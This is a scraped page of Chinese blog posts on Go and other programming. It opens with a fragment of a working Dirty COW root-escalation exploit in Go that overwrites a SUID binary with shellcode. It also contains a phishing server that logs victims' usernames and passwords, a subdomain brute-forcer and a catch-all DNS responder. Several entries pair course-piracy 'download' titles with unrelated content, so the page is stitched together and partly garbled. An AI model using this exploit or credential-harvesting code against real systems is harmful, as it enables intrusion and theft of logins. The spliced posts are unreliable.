执行替换的二进制文件,并传入设置的属性 proc, err := os.StartProcess(SuidBinary, nil, &attr) if err != nil { log.Fatal(err) } proc.Wait() // 期待过程p的退出,返回过程状态 // ps, _ := p.Wait(); // fmt.Println(ps.String()); os.Exit(0)}func main() { fmt.Println("dirtycow root 提权") fmt.Printf("备份%s到/tmp/bak\n", SuidBinary) backcp := exec.command("cp", SuidBinary, "/tmp/bak") if err := backcp.Run(); err != nil { panic(err) } f, err := os.OpenFile(SuidBinary, os.O_RDONLY, 0600) if err != nil { panic(err) } st, _ := f.Stat() // 获取文件的stat信息 // 创立同样大小的payload payload := make([]byte, st.Size()) for i := range payload { payload[i] = 0x90 } for i, v := range sc { payload[i] = v } mmap, _, _ = syscall.Syscall(syscall.SYS_MMAP, uintptr(0), uintptr(st.Size()), uintptr(syscall.PROT_READ), uintptr(syscall.MAP_PRIVATE), f.Fd(), 0) fmt.Println() go madvise() go procselfmem(payload) waitForWrite()}

September 14, 2022 · 3 min · jiezi

关于go:go-hack十dns服务器构建

go网络安全代码地址 package mainimport ( "log" "net" "github.com/miekg/dns")// 构建a记录查问的dns服务器// dig @localhost baidu.com 测试 systemctl stop systemd-resolved.service 进行原有的dns服务,解决53端口占用问题func main() { dns.HandleFunc(".", func(w dns.ResponseWriter, req *dns.Msg) { // req申请自身 var resp dns.Msg resp.SetReply(req) for _, q := range req.Question { a := dns.A{ Hdr: dns.RR_Header{ Name: q.Name, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 0, }, A: net.ParseIP("127.0.0.1").To4(), } resp.Answer = append(resp.Answer, &a) } w.WriteMsg(&resp) }) log.Fatal(dns.ListenAndServe(":53", "udp", nil))}

September 14, 2022 · 1 min · jiezi

关于go:深入Go底层原理重写Redis中间件实战完整无密

download:深刻Go底层原理,重写Redis中间件实战(残缺无密)Java中使用比较器解决按照特定的字符串次序排序List 引言明天工作需要中,有一个小需要,要按照某一个特定的次序排列一个List。 举例: 原始的List 中存在3个String 元素 原始List : python,Java,C++现在需要按照另一个次序排序 申请List:C++ ,python,Java。网上大部分的排序都是根据某一个值,比如int,long 等等进行比大小,很少能找到按照特定字符串的资料。传统的代码使用for循环等等也能解决这个问题,然而心愿使用比较器的形式解决这个问题,明天就浅浅地研究一下。 原理通过研究,最好的形式还是着眼于字符串的坐标值来解决这个问题,通过坐标值的比较来实现这个问题。 实践样例1 筹备实体类 /** @author fangzhou@date 2022/7/27 11:24 上午 */public class Right { private String rightId;public String getRightId() { return rightId;}public void setRightId(String rightId) { this.rightId = rightId;}}复制代码2 解决打算 public static void main(String[] args) { // rightListMe 原始申请的类 List<Right> rightListMe = new ArrayList<>(); Right right = new Right(); right.setRightId("rightId111"); Right right1 = new Right(); right1.setRightId("rightId222"); Right right2 = new Right(); right2.setRightId("rightId333"); rightListMe.add(right); rightListMe.add(right1); rightListMe.add(right2); // rightListHe 特定次序的类 List rightListHe = new ArrayList<>(); rightListHe.add("rightId333"); rightListHe.add("rightId111"); rightListHe.add("rightId222"); // 核心比较器,通过该indexOf 找到下标 Collections.sort(rightListMe, new Comparator() { @Override public int compare(Right o1, Right o2) { int index1 = rightListHe.indexOf(o1.getRightId()); int index2 = rightListHe.indexOf(o2.getRightId()); return (index1 == -1 || index2 == -1) ? (index2 - index1) : (index1 - index2); } }); for (Right s : rightListMe) { System.out.println(s.getRightId()); }复制代码3 输入后果 ...

September 14, 2022 · 1 min · jiezi

关于go:gosec-Golang-安全检查器

原文链接 通过扫描 Go AST 查看源代码是否存在平安问题。 一、许可证依据 Apache 许可证 2.0 版(“许可证”)取得许可。 除非恪守许可,否则您不得应用此文件。 您能够在此处获取许可证的正本。 二、装置1. CI 装置# binary will be $(go env GOPATH)/bin/goseccurl -sfL https://raw.githubusercontent.com/securego/gosec/master/install.sh | sh -s -- -b $(go env GOPATH)/bin vX.Y.Z# or install it into ./bin/curl -sfL https://raw.githubusercontent.com/securego/gosec/master/install.sh | sh -s vX.Y.Z# In alpine linux (as it does not come with curl by default)wget -O - -q https://raw.githubusercontent.com/securego/gosec/master/install.sh | sh -s vX.Y.Z# If you want to use the checksums provided on the "Releases" page# then you will have to download a tar.gz file for your operating system instead of a binary filewget https://github.com/securego/gosec/releases/download/vX.Y.Z/gosec_vX.Y.Z_OS.tar.gz# The file will be in the current folder where you run the command# and you can check the checksum like thisecho "<check sum from the check sum file> gosec_vX.Y.Z_OS.tar.gz" | sha256sum -c -gosec --help2. GitHub Action您能够将 gosec 作为 GitHub 操作运行,如下所示: ...

September 14, 2022 · 5 min · jiezi

关于go:极客时间Go实战训练营全新升级第5期2022最新完结无密

download:极客工夫Go实战训练营全新降级第5期2022最新完结无密自建数据库可视化平台,在线治理数据库Bytebase简介Bytebase是一款面向开发者的数据库变更管理工具,目前在Github上已有3.6K+Star。它的次要个性如下: SQL审核:具备一站式SQL审核面板,能够直观地看到数据库所有变更记录。SQL倡议:能主动查看SQL语句标准,额定提供GitHub Action和API接入形式。SQL编辑器:能够在线治理及查看数据库表,反对语法的主动提醒。GitOps工作流:反对集成GitHub和GitLab,应用GitOps工作流进行数据库变更。备份复原:反对主动备份数据库及复原数据。 装置 首先咱们将在Linux下装置Bytebase,应用Docker来装置无疑是最不便的。 因为ByteBase对MySQL8的反对比拟好,这里举荐装置MySQL8,首先下载MySQL8的Docker镜像; docker pull mysql:8复制代码 再应用如下命令运行MySQL8的容器; docker run -p 3506:3306 --name mysql8 \-v /mydata/mysql8/mysql-files:/var/lib/mysql-files \-v /mydata/mysql8/conf:/etc/mysql \-v /mydata/mysql8/log:/var/log/mysql \-v /mydata/mysql8/data:/var/lib/mysql \-e MYSQL_ROOT_PASSWORD=root \-d mysql:8复制代码 而后应用如下命令下载Bytebase的Docker镜像 docker pull bytebase/bytebase:1.3.1复制代码 下载胜利后,应用如下命令运行ByteBase容器; docker run --init \ --name bytebase \ --restart always \ --add-host host.docker.internal:192.168.3.105 \ --publish 5678:5678 \ --health-cmd "curl --fail http://localhost:5678/healthz || exit 1" \ --health-interval 5m \ --health-timeout 60s \ --volume /mydata/bytebase/data:/var/opt/bytebase \ -d bytebase/bytebase:1.3.1 \ --data /var/opt/bytebase \ --host http://localhost \ --port 5678 ...

September 14, 2022 · 1 min · jiezi

关于go:12-GolangGo语言快速入门数组与切片

 数组和切片是Go语言提供的两种根本数据结构,数组的概念大家应该都很相熟,雷同类型元素的汇合,且元素在内存中间断存储,能够十分不便的通过下标拜访数组元素;那么什么是切片呢?切片能够了解为动静数组,也就是说数组长度(最大能够存储的元素数目)能够动静调整。切片是咱们日常开发最罕用的数据结构之一,应该重点学习。 数组 数组的定义与应用非常简单,如上面实例所示: package mainimport "fmt"func main() { var arr [3]int //数组拜访 arr[0] = 100 arr[1] = 200 arr[2] = 300 //arr最大能够存储三个整数,下标从0开始,最大为2 //Invalid array index 3 (out of bounds for 3-element array);拜访越界,无奈编译通过 //arr[3] = 400 fmt.Println(len(arr), arr) //len返回数组长度 var arr1 [5]int //数组的类型包含:元素类型 + 数组长度,任意一项不等,阐明数组类型不同,无奈互相赋值 //Cannot use 'arr' (type [3]int) as type [5]int //arr1 = arr fmt.Println(arr1)} 在应用数组过程中,须要重点留神下标最大值为len - 1,不要呈现拜访越界状况。Go语言数组和C语言数组应用十分相似,然而在数组作为函数参数应用时候,还是有些许不同的。 首先要明确一点的是,Go语言函数传参都是传值的(输出参数会拷贝一份),而不是传递援用(输出参数的地址),因而尽管你在函数外部批改了输出参数,然而调用方变量并没有扭转,如上面事例: package mainimport "fmt"func main() { arr := [6]int{1,2,3,4,5,6} testArray(arr) fmt.Println(arr) //原数组未产生批改:[1 2 3 4 5 6]}func testArray(arr [6]int) { arr[0] = 0 arr[5] = 500 fmt.Println(arr) //批改数组元素:[0 2 3 4 5 500]} 学习过C语言数组的搭档可能会比拟纳闷,C语言在这种状况下,调用方数组元素是会同步产生扭转的。Go语言是怎么做到的呢?下面说过,Go语言函数传参都是传值的,所以Go语言会把数组所有元素全副拷贝一份,这样函数外部批改的数组就和原数组没有任何关系了。 ...

September 14, 2022 · 5 min · jiezi

关于go:花了很长时间重新设计了-SDB-的存储模型

SDB 背地的思考 ———— List 数据结构锁模型设计从上一篇中,咱们曾经设计好了 List 数据结构在 kv 存储中的数据模型。 这一篇,咱们介绍下 SDB 在 List 数据结构中的锁模型设计。 咱们从新回顾下 List 数据模型图: 能够看出,每个 List 都蕴含 N 个版本,每个版本都有 meta key、deleted key、ttl key。其作用如下: meta key 存储 List 的 meta 信息,如元素个数、是否删除、ttl、版本号等。deleted key 能够依据该 key 检索被删除的 List,用于数据回收。ttl key 能够依据该 key 检索被带有 ttl 的 List,用于数据回收。每个元素在 List 上都蕴含一个 seq key 和 value key。其作用如下: seq key 用于程序遍历 List 元素。value key 用于在 List 中删除某元素。Q:用户同时进行写入操作申请:LLPush、LRPush、LDel、LRem 等,如何加锁? A:因为这类申请会操作 meta key。为了保障一致性,SDB 会依照用户写入的 key 进行加锁。 实际上,SDB 外部保护了多把锁,每个 key hash 后会取到对应的锁,而后对该锁进行加锁操作。伪代码如下: ...

September 14, 2022 · 2 min · jiezi

关于go:11-GolangGo语言快速入门基本语法

 Go语言是Google开发的一种动态强类型、编译型、并发型,并具备垃圾回收性能的编程语言。Go语言做到了在不损失应用程序性能的状况下升高代码的复杂性。 Go语言语法简略,只有25个关键字,不须要消耗工夫去学习记忆;数据类型包含布尔型,数字类型(整型、浮点型、复数),字符串,切片(数组),字典map,管道chan等,用起来还是比拟顺畅的。 Go语言人造具备并发个性,基于go关键字就能很不便的创立协程去执行一些并发工作,而其基于协程-管道的CSP并发编程模型,相比于传统简单的多线程同步计划,能够说简略太多了。 Go语言还具备垃圾回收能力,防止了应用层还须要关注内存的调配与开释,要晓得在C/C++语言,内存治理可是可是让人十分头疼的。 Go语言还提供了比较完善的规范库,比方咱们只须要几行代码就能创立并启动一个HTTP服务。 从本篇文章开始,将率领大家进入Go语言的世界。 环境搭建 咱们能够抉择下载源码编译装置,下载安装包装置,下载编译好的可执行文件,下载地址为:https://golang.google.cn/dl/ 笔者本地装置的是go1.18.darwin-amd64.tar.gz,这是编译好的可执行文件,只须要解压即可,解压到目录 $HOME/Documents/go1.18。最初再配置下环境变量: export GOROOT=$HOME/Documents/go1.18export PATH=$PATH:$GOROOT/binexport GOPATH=$HOME/Documents/gopath $GOROOT是Go的装置目录;$PATH是为了让咱们能够在任意目录执行go命令;$GOPATH工作目录,通过go get命令下载的依赖包等就放在$GOPATH目录,基于gomod治理的依赖文件也会放在该目录下。 装置配置实现后,执行go version验证是否装置胜利。 Go我的项目开发还少不了适合的编辑器,举荐应用Goland,下载地址为:https://www.jetbrains.com/go/。 装置实现后,关上Goland新建我的项目,新建main.go文件,编写经典的hello world: package mainimport "fmt"func main() { fmt.Println("hello world")} Go语言所有文件都必须指定其所在的包,如上"package main",咱们称之为main包,当然包名也能够命名为其余名称(个别包名与以后所在目录/文件夹名称保持一致),而main包里的main函数为程序的入口函数。 咱们的代码必定会仍然其余文件,怎么引入呢?通过"import 包名"引入,引入后能力拜访该包内函数/变量。如下面代码所示,fmt包是Go语言底层提供的格式化/IO包,Println函数打印变量到规范输入。 数据类型 Go语言数据类型包含布尔型,数字类型(整型、浮点型、复数),字符串,切片(数组),字典map,管道chan等,各类型变量的申明以及简略应用如下: package mainimport "fmt"func main() { //变量申明 var a int = 1 //var 申明并初始化变量, 类型int能够省略 b := 1 //:= 申明+初始化变量 b = 3 //=只能针对已有变量从新赋值 fmt.Println(a, b) //字符串 str1 := "hello " str2 := "world" fmt.Println(len(str1), str1 + str2) //能够 +;len返回字符串长度 //数组,容量固定 arr := [5]int{1,2,3,4,5} arr[1] = 100 //数组元素拜访 fmt.Println(len(arr), arr) //len返回数组长度 //切片,容量能够裁减,相当于动静数组 slice := []int{1,2,3} slice[1] = 100 //切片元素拜访 slice = append(slice, 4, 5, 6) //append主动扩容 fmt.Println(len(slice),cap(slice), slice) //len返回切片长度,cap返回切片容量 //map,key-value构造 score := map[string]int{ "zhangsan":100, "lisi":99, "wangwu":98, } score["who"] = 90 //map赋值 s, ok := score["who"] //map拜访,s对应value值,ok标识该key是否存在(不存在返回空值) delete(score, "lisi") //删除map元素 fmt.Println(s, ok, score)} 这里并没有给出管道chan的事例,这将在第二章并发模型具体介绍。当然除了Go语言提供的这些根本类型,咱们也能够自定义类型,如接口,构造体等,这些也将在前面章节介绍。 ...

September 13, 2022 · 2 min · jiezi

关于go:极客时间Go实战训练营全新升级第5期2022最新完结无密

download:极客工夫Go实战训练营全新降级第5期2022最新完结无密自学it666 java python go c教你如何用Java获取IP归属。解释次要步骤: 从Java获取申请IP解决Nginx转发问题通过IP地址获取属性 获取IP地址首先,应用基于Spring Boot的我的项目,在控制器中增加HttpServletRequest申请参数:@RestController公共类IpController {@GetMapping("/ip-address ")公共字符串ipAddress(HttpServletRequest申请){//接管申请}}复制代码通过HttpServletRequest获取IP地址:string IP = request . get header(" x-forward-for ");if (ip == null || ip.length() == 0 ||“未知”。equalsIgnoreCase(ip)) {ip = request.getHeader("代理-客户端-IP ");}if (ip == null || ip.length() == 0 ||“未知”。equalsIgnoreCase(ip)) {IP = request . get header(" WL-代理-客户端-IP ");}if (ip == null || ip.length() == 0 ||“未知”。equalsIgnoreCase(ip)) {IP = request . get header(" HTTP CLIENT IP ");}if (ip == null || ip.length() == 0 ||“未知”。equalsIgnoreCase(ip)) {IP = request . get header(" HTTP X FORWARDED _ FOR ");}if (ip == null || ip.length() == 0 ||“未知”。equalsIgnoreCase(ip)) {IP = request . getremoteaddr();}回归IP;复制代码调用以获取本地环境中的IP,0:0:0:0:0:0:0:1或LAN IP。 ...

September 13, 2022 · 2 min · jiezi

关于go:极客时间Go实战训练营全新升级第5期无密

download:Go实战训练营全新降级第5期无密简介什么是泛型?泛型编程是一种计算机编程格调,编程范式,其中算法是依据起初指定的类型编写的,而后在须要时为作为参数提供的特定类型进行实例化。罕用的编程语言也根本反对泛型的这个个性,比方C++、C#、Java、Python、Rust、Swift、TypeScript、kotlin等。泛型具备以下特色: 参数化类型:类型作为函数参数传递。 更强的类型查看:泛型使编译器可能在编译期间查看类型,以进步类型安全性并缩小运行时由不匹配的对象类型导致的异样。代码保留和形象示意 很长一段时间,围棋没有通用函数。参考《为什么Go语言没有泛型——面向信奉的编程》一文。这篇文章探讨了Golang不反对泛型的两个起因: 通用窘境使得开发者不得不在开发效率、编译速度和运行速度之间做出抉择。目前社区里的Go语言计划都是有缺点的,然而Go团队认为泛型的反对还不够迫切。 这篇文章认为还有另一个起因: 泛型会让Golang变得更加简单和深远。在Go 1.18中,只提供了泛型个性,很多零碎库实现都没有转换成泛型款式,泛型都是和Golang.org/x/exp库相干的。 然而,在2020年度Go开发者考察中,26%的受访者示意Go不足他们须要的语言性能,88%的受访者抉择泛型作为要害的缺失性能。 与其余语言中的泛型相比Go没有太多累赘,但更重视设计,而Java、C++等老牌语言因为兼容性或其余起因迭代较慢。这里比拟一下Go的泛型和已建设的语言泛型在语法、类型束缚、实现原理等方面的区别。: 语法去// Go泛型泛型语法是括号。func Print[T any](t T) {fmt。Printf("打印类型:%T\n ",T)}复制代码爪哇公共动态有效打印(T t) {System.out.println("打印类型:"+ t.getClass()。getName());}Go// 办法限度type Stringer interface { String() string}// 类型汇合type Types interface { ~int | ~int8 | ~int16 | ~int32 | ~int64 | ~uint | ~uint8 | ~uint16 | ~uint32 | ~uint64 | ~uintptr | ~float32 | ~float64}// 限定为 Typesfunc Sub[T Types](t1, t2 T) T { return t1 - t2}复制代码Javapublic class Main{ // 泛型限定 必须是Collection 类型的子类才能够被接管 public static <T extends Collection> void print(T t){ System.out.println(t); } public static void main(String[] args){ print(Arrays.asList(1,2,3)); }}实现准则 ...

September 13, 2022 · 1 min · jiezi

关于go:winlinux安装go

windows环境进入网址https://golang.google.cn/dl/,找到对应的资源包下载 而后关上安装程序,一路下一步就OK在终端外面输出go version,如果有版本信息回显,则表明装置胜利 如果是低版本的go安装程序,是须要手动环境变量配置的Linux环境进入网址https://golang.google.cn/dl/,找到对应的资源包下载 执行命令,将压缩包解压到对应目录 tar -C /usr/local -xzf go1.19.1.linux-amd64.tar.gz创立寄存go的工具等的目录 mkdir -p /usr/local/gopath编辑vim /etc/profile文件,追加以下内容: # Goexport GOROOT=/usr/local/goexport GOBIN=$GOROOT/binexport GOPATH=/usr/local/gopathexport PATH=$PATH:$GOPATH:$GOBIN:$GOROOT对于go环境变量的解释:https://www.jianshu.com/p/4e6...从新加载/etc/profile文件 source /etc/profile执行命令go version,如果有版本信息回显,则表明装置胜利

September 12, 2022 · 1 min · jiezi

关于go:go-hack九dns子域枚举

go网络安全代码地址 package mainimport ( "bufio" "flag" "fmt" "log" "os" "text/tabwriter" "github.com/miekg/dns")// 遍历字典,枚举子域,并且查问子域名的a记录和cname记录// 应用 go run subdomain_gusee.go -domain="xxx.xx" -wordlist="xx" -c=10 -dns="8.8.8.8:53"var ( fdomain = flag.String("domain", "baidu.com", "猜解的域") fwordlist = flag.String("wordlist", "", "暴破字典") fworkcount = flag.Int("c", 30, "协程数") fdns = flag.String("dns", "8.8.8.8:53", "dns"))type result struct { ip string // 解析的a记录 host string allHost []string // 所有的cname 可能cname1->cname2->cname3->a}// 查问a记录func lookupA(fqdn, fdns string) ([]string, error) { var m dns.Msg var ips []string m.SetQuestion(dns.Fqdn(fqdn), dns.TypeA) in, err := dns.Exchange(&m, fdns) if err != nil { return ips, err } for _, answer := range in.Answer { if a, ok := answer.(*dns.A); ok { ips = append(ips, a.A.String()) } } return ips, nil}// 查问a记录func lookupCname(fqdn, fdns string) ([]string, error) { var m dns.Msg var fqdns []string m.SetQuestion(dns.Fqdn(fqdn), dns.TypeCNAME) in, err := dns.Exchange(&m, fdns) if err != nil { return fqdns, err } for _, answer := range in.Answer { if a, ok := answer.(*dns.CNAME); ok { log.Println(a.Target) fqdns = append(fqdns, a.Target) } } return fqdns, nil}func lookup(fqdn, fdns string) []result { var results []result var cnames []string var cfqdn = fqdn //拷贝出一份 避免篡改 for { cname, err := lookupCname(cfqdn, fdns) if err != nil { //log.Println(err) return nil } if len(cname) > 0 { cfqdn = cname[0] // 跟踪出所有的cname,直到最初一个 cnames = append(cnames, cname...) continue } ips, err := lookupA(cfqdn, fdns) if err != nil { //log.Println(err) return nil } for _, v := range ips { results = append(results, result{ ip: v, host: cfqdn, allHost: cnames, }) } } fmt.Println(results) return results}// 协程解决// in输出fqdn out输入result,在main中接管,isdone 标识是否完结func worker(in chan string, out chan []result, isdone chan struct{}, fdns string) { for item := range in { // 从in队列中读取 results := lookup(item, fdns) if len(results) > 0 { out <- results // 将result传出去 } } isdone <- struct{}{} // 避免没有实现就终止}func main() { flag.Parse() if *fdomain == "" || *fwordlist == "" { fmt.Println("传错谬误") os.Exit(1) } in := make(chan string) out := make(chan []result) isdone := make(chan struct{}) // 暴破文件读取 fn, err := os.Open(*fwordlist) // 关上文件 if err != nil { log.Fatalln(err) } defer fn.Close() // 创立遍历器 scanner := bufio.NewScanner(fn) // 创立10个消费者 for i := 0; i < *fworkcount; i++ { go worker(in, out, isdone, *fdns) } // 须要先创立期待工作的协程,不然会死锁 // 生产者 for scanner.Scan() { in <- fmt.Sprintf("%s.%s", scanner.Text(), *fdomain) } // 后果 var results []result go func() { for item := range out { results = append(results, item...) } isdone <- struct{}{} }() close(in) // 所有数据发送实现,进行敞开管道 // 回收worker过程的实现管道 for i := 0; i < *fworkcount; i++ { <-isdone } // 接管完worker的数据 敞开 close(out) <-isdone // result的is_done 管道 w := tabwriter.NewWriter(os.Stdout,0,8,' ',' ',0) //NewWriter(output io.Writer, minwidth int, tabwidth int, padding int, padchar byte, flags uint) *tabwriter.Writer for _,v := range results{ fmt.Fprintf(w,"%s\t%s\n",v.host,v.ip) } w.Flush()}

September 12, 2022 · 3 min · jiezi

关于go:答读者问把Go基础学完后是学web方向还是区块链方向

前两天有位读者和我讲:他把Golang根底学完了,在纠结如何抉择后续的学习方向? 是抉择web方向呢?还是抉择区块链方向呢? 先说论断我倡议他学web方向,而不是区块链方向。 外围起因很简略:web方向的岗位多。 当然也有联合这位读者的其余因素,综合思考下来,更加深了他学习web方向更适合的论断。 上面听我缓缓道来: 深入分析一下为什么抉择web方向?其实这位读者在问我之前,他本人心里曾经有答案了:他也偏向于web方向。 因为和前共事探讨时,被告知做区块链工资高,所以有些纠结。 这是他们的对话: 前共事的两句“服了”,也把我整服了。 这让我想起了,张雪峰老师对于考研的段子:“人家大学就录取一个人,你也敢报?!你家冒青烟都不行,得着了!” 对于考研的方向和选从业方向,我认为底层情理是一样的。 对小白来说,岗位少就意味着工作机会少,哪怕工资高也不是最佳抉择;对小白来说,学习完一门技能后,能顺顺利利找到工作才是王道,先生存再倒退,职业倒退之路是一步一步走进去的。 至于能赚多少钱,这都是后话了。 赚钱的多少不取决于你的绝对能力,而取决于“抉择力和判断力”,当然“运气”的老本同样不能漠视。 对于Go,再多说两句,最近有看到很多有意思的探讨(吐槽) Go有意思的探讨这是菜鸟教程转载我文章中的评论:《# 为什么 Java 和 PHP 越来越“卷”?为什么 Go 语言值得学习?》 有位陕西的同学认为: “PHP一点都不卷,Go的需要也没有那么大,尤其是新一线简直没有啥职位,目前的状况是,Go和Python一样,都是网红语言。”而且这是点赞量最高的评论,起码能表明在菜鸟教程的公号粉丝里,是比拟受认可的观点。 咱们主观剖析一下1. PHP一点都不卷这个怎么说呢?不晓得陕西等非一线城市是什么样子的? 我在北京的开发圈子里,曾经很少有人持续用PHP了:我的项目要么用Go重写,要么原本就应用的Java语言。 PHP到底卷不卷,咱们还是评论区见分晓吧。天黑请闭眼,大家请投票。 2. Go的需要也没有那么大,尤其是新一线简直没有啥职位Go的需要没有那么大,我是不批准的。 如果说加一个限度条件,在非一线城市目前Go没啥岗位需要,这个我批准。 毕竟,须要一个过程。 而且,大厂和独角兽这类肯定存在高并发的业务绝大多数都在一线城市。 3. Go和Python一样,都是网红语言。我不晓得如何了解“网红”的含意。 我只晓得目前北京很多招聘Java和PHP的岗位,都有个括弧要求:接管前期转Go。 小小总结一下综上剖析,咱们发现无论是上学的时候做浏览了解,还是当初做职业规划,联合Context上下文(也就是本人的客观条件)都是十分重要的。 上面通过这位读者的状况举例,来简略剖析一下。 看对你的职业规划有没有启发和帮忙: 联合本人特点做职业抉择1. 所在城市十分重要如果你像我和这位读者一样,在北上广深一线城市,那么须要学习和应用的技术栈肯定是比拟新的,要求也是比拟高的。 如果是在非一线城市,呈现“PHP才不卷”,“Go和Python是网红语言”,有这种意识也难能可贵。 毕竟圈子很重要,本人所处的环境,很大水平会影响本人的认知。 2. 以往的教训很重要比方这位读者有运维教训,对Linux十分相熟,也有docker和k8s的应用教训。 在这种教训劣势的加持下,对找web方向的开发岗位是十分有帮忙的。 在抉择待业方向时,联合本人之前的工作教训(实习教训)也是十分重要的。 3. 坚持不懈才是最重要的坐公交车的一个常识是:“不怕慢,就怕站”,车开的慢点没关系,就怕停靠站太多,走走停停才走不快。 缓缓走,会很平安,很扎实;总是靠边停车,因为一些事件不持续赶路,才是影响咱们效率最大的阻碍。 和大家共勉:“坚持不懈”是做成事件,最简略也是最无效的形式。 总结这位读者问我的问题,置信也是很多想入行Go语言开发,甚至想入行互联网行业,都面临的问题。 总结进去,抛砖引玉,供大家参考,心愿对你有帮忙。 正如题目所说,这是一个开放性问题,十分心愿大家能够参加探讨,毕竟:“答辩出真知。”

September 12, 2022 · 1 min · jiezi

关于go:golang操作sqlite3

先装置好sqlite3,Golang环境MacBook Linux Windows等零碎装置sqlite3 MacBook Linux 树莓派raspberrypi装置Golang环境 sqlite3基本操作sqlite3 /Users/liang/Downloads/foo.db.databases.quit.exit.tablesCREATE TABLE `userinfo` (`uid` INTEGER PRIMARY KEY AUTOINCREMENT,`username` VARCHAR(64) NULL,`departname` VARCHAR(64) NULL,`created` DATE NULL);CREATE TABLE `userdeatail` (`uid` INT(10) NULL,`intro` TEXT NULL,`profile` TEXT NULL,PRIMARY KEY (`uid`));.schema userinfogolang操作sqlite3package mainimport ( "database/sql" "fmt" _ "github.com/mattn/go-sqlite3")func main() { db, err := sql.Open("sqlite3", "/Users/liang/Downloads/foo.db") checkErr(err) //插入数据 stmt, err := db.Prepare("INSERT INTO userinfo(username, departname, created) values(?,?,?)") checkErr(err) res, err := stmt.Exec("astaxie", "部门", "2012-12-09") checkErr(err) id, err := res.LastInsertId() checkErr(err) fmt.Println(id) //更新数据 stmt, err = db.Prepare("update userinfo set username=? where uid=?") checkErr(err) res, err = stmt.Exec("astaxieupdate", id) checkErr(err) affect, err := res.RowsAffected() checkErr(err) fmt.Println(affect) //查问数据 rows, err := db.Query("SELECT * FROM userinfo") checkErr(err) for rows.Next() { var uid int var username string var department string var created string err = rows.Scan(&uid, &username, &department, &created) checkErr(err) fmt.Println(uid) fmt.Println(username) fmt.Println(department) fmt.Println(created) } //删除数据 stmt, err = db.Prepare("delete from userinfo where uid=?") checkErr(err) res, err = stmt.Exec(id) checkErr(err) affect, err = res.RowsAffected() checkErr(err) fmt.Println(affect) db.Close()}func checkErr(err error) { if err != nil { panic(err) }}

September 11, 2022 · 1 min · jiezi

关于go:go-hack七websocket建立键盘记录器

go网络安全代码地址应用websocket实现一个键盘记录器 前端申请k.js 咱们把logger.js 返回给前端, 须要第三方包go get github.com/gorilla/websocket package mainimport ( "net/http" "os" "time" log "github.com/Sirupsen/logrus" "github.com/gorilla/mux")// 钓鱼信息记录到日志// go get github.com/Sirupsen/logrus 日志格式化记录第三方包func main() { fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) if err != nil { panic(err) } defer fh.Close() log.SetOutput(fh) // 设置日志输入的句柄 r := mux.NewRouter() r.HandleFunc("/login", login).Methods("POST") r.PathPrefix("/").Handler(http.FileServer(http.Dir("public"))) // 动态文件服务器创立 log.Fatal(http.ListenAndServe(":8080", r))}func login(w http.ResponseWriter, r *http.Request) { // time="2022-09-11T16:19:14+08:00" level=info msg="login attempt" fields.time="2022-09-11 16:19:14.8598751 +0800 CST m=+551.727495701" ip_address="127.0.0.1:53955" password=sfa user-agent="apifox/1.0.0 (https://www.apifox.cn)" username=sdaf log.WithFields(log.Fields{ "time": time.Now().String(), "username": r.FormValue("_user"), // 获取post值 "password": r.FormValue("_pass"), "user-agent": r.UserAgent(), "ip_address": r.RemoteAddr, }).Info("login attempt") http.Redirect(w, r, "/", 302)}

September 11, 2022 · 1 min · jiezi

关于go:Go的全新漏洞检测工具govulncheck来了

前言Go平安团队在2022.09.06公布了全新的破绽检测工具govulncheck,能够帮忙咱们发现Go程序里的安全漏洞。 本文具体介绍该工具目前的现状以及接下来的性能布局。 Go破绽检测零碎架构上图是Go平安团队对于Go代码破绽检测的零碎架构图。 第1步,破绽采集。Go平安团队会采集泛滥破绽数据库,包含公开的破绽数据库(例如National Vulnerability Database (NVD)和 GitHub Advisory Database)、社区反馈的Go package破绽)以及Go团队修复过的安全漏洞等。第2步:更新Go的破绽数据库。对于第1步里收集到的安全漏洞,Go平安团队会出具评估报告,对报告的破绽做评审,如果确认是须要解决的会进入到Go的破绽数据库里。这些破绽存储的依照 Open Source Vulnerability (OSV) format 格局进行存储,并且能够通过API获取到。第3步:工具集成。对于新的破绽解决后,会相应更新 pkg.go.dev 上的破绽阐明以及公布破绽检测工具 govulncheck的新版本。govulncheck能够剖析扫描你的代码仓库,只展现那些真正影响到你程序执行的破绽。govulncheck工具十分牢靠,很少误报,能够帮忙你疾速发现一些已知的安全漏洞。Go破绽数据库Go平安团队保护了一个破绽数据库,地址是https://vuln.go.dev,也就是下面第2步所说的破绽数据库。 如果你发现了新破绽,能够通过这个安全漏洞链接)报告破绽。如果你认为已有的破绽报告形容有问题,能够在这个链接进行反馈。Go的破绽数据库里蕴含的破绽,能够在这个链接地址pkg.go.dev/vuln进行查看。 govulncheck全新的govulncheck 命令能够帮忙你发现代码里的安全漏洞。 装置和应用办法如下: $ go install golang.org/x/vuln/cmd/govulncheck@latest$ govulncheck ./...govulncheck是一个独立的工具,可能会频繁更新和迭代。Go平安团队对于govulncheck的长期打算是把该工具集成到Go的公布版本里。 备注: golang.org/x下所有package的源码独立于Go源码的骨干分支,也不在Go的二进制安装包里。如果须要应用golang.org/x下的package,能够应用go get来装置。govulncheck工具就属于这种状况。golang.org/x/exp下的所有package都属于试验性质或者被废除的package,不倡议应用。golang.org/x/vuln这个仓库里蕴含有3个次要模块: vulncheck 包。为了不便把govulncheck的破绽检测性能集成给其它工具或服务,vulncheck 里把govulncheck的性能进行了封装,在vulncheck这个package里提供了相应的Go函数,能够被间接调用。govulncheck命令。是命令行工具,对vulncheck包里破绽检测性能做了封装。client包。该package封装了一个用于和Go破绽数据库交互的client。集成为了不便Go开发者更早和更好地理解到破绽信息,Go团队把破绽检测也集成到了Go的工具链和服务里。 例如,大家能够在package.go.dev网站的版本破绽页面查看到golang.org/text这个package各个版本的安全漏洞状况。 Go的VS Code扩大插件对于govulncheck的反对也很快就能够公布。 总结具体的govulncheck命令应用阐明参考:官网文档。目前govulncheck也有一些局限性,比方: 扫描二进制文件的安全漏洞时,要求该二进制文件必须是应用Go 1.18或者更高版本编译的,不反对对低版本编译的二进制文件进行安全漏洞扫描。对于函数指针和接口(interface)调用的剖析比拟激进,在某些状况下可能导致误报破绽。govulncheck不可能展现Go二进制文件里扫描进去的安全漏洞的调用图(call graph),这是因为Go二进制文件并不蕴含具体的调用链信息。对于二进制文件里的代码也可能产生误报。只会报告govulncheck以后执行的Go编译环境和配置(GOOS/GOARCH)下的破绽。例如, 